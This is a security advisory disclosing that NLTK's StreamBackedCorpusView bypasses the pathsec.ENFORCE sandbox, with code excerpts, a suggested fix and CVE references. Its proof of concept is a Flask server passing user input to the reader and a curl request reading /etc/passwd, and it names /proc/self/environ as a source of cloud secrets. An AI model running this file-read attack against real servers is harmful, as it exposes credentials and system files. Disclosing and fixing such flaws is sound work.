NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read

## Summary Setting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting. ## Details `nltk/pathsec.py:274` defines the enforcement point: ```python def open(file, mode="r", **kwargs): validate_path(file, context="pathsec.open") return builtins.open(file, mode=mode, **kwargs) ``` `StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths: ```python # line 171 , no validate_path() call self._eofpos = os.stat(self._fileid).st_size # line 208 , calls builtins.open directly self._stream = open(self._fileid, "rb") ``` Also affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`. ## PoC ```python # poc_server.py , StreamBackedCorpusView pathsec.ENFORCE bypass from flask import Flask, request, jsonify import nltk.pathsec as ps from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block # Strict mode enabled , expected to sandbox all file access ps.ENFORCE = True app = Flask(__name__) @app.post("/read") def read_file(): fname = request.json.get("file") # fileid is user-controlled, passed directly to StreamBackedCorpusView # pathsec.ENFORCE = True is ignored , builtins.open() called internally view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8") return jsonify({"file": fname, "content": view[0]}) app.run(host="0.0.0.0", port=8000) ``` Trigger: ``` curl -s -X POST http://localhost:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "/etc/passwd"}' ``` Confirmed on latest stable NLTK. No privileges required. ## Impact - **Type:** Arbitrary Local File Read / Security Control Bypass - **CWE:** CWE-22, CWE-284 - **OWASP:** A01:2021 – Broken Access Control Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files. The core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**. **Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.

CVSS 4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-22

Also known as

CVE-2026-63312, PYSEC-2026-3730

• github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8
• nvd.nist.gov/vuln/detail/CVE-2026-63312
• github.com/nltk/nltk/pull/3588
• github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b
• github.com/nltk/nltk
• github.com/nltk/nltk/releases/tag/v3.10.0
• github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml
• www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read